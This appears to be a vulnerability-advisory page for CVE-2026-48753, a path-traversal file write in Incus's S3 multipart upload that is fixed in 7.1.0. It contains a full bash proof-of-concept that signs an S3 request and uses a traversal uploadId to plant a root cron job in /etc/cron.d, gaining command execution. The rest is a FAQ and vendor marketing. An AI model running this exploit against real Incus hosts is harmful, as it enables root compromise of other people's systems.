CVE-2026-48753

Incus has an arbitrary file write via path traversal in S3 multipart upload

# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials

#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then
	printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
	exit 1
fi

endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"

region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date

$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"

hmac_hex() {
	printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}

k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \
	-H "Host: ${host}" \
	-H "X-Amz-Date: ${amz_date}" \
	-H "X-Amz-Content-Sha256: ${body_hash}" \
	-H "Authorization: ${auth}" \
	--data-binary "${body}"

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

CVE-2026-48753 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-48753? CVE-2026-48753 is a critical-severity security vulnerability in github.com/lxc/incus/v7/cmd/incusd (go), affecting versions < 7.1.0. It is fixed in 7.1.0.
2. How severe is CVE-2026-48753? CVE-2026-48753 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lxc/incus/v7/cmd/incusd are affected by CVE-2026-48753? github.com/lxc/incus/v7/cmd/incusd (go) versions < 7.1.0 is affected.
4. Is there a fix for CVE-2026-48753? Yes. CVE-2026-48753 is fixed in 7.1.0. Upgrade to this version or later.
5. Is CVE-2026-48753 exploitable, and should I be worried? Whether CVE-2026-48753 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-48753 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-48753? Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0 or later.

Other vulnerabilities in github.com/lxc/incus/v7/cmd/incusd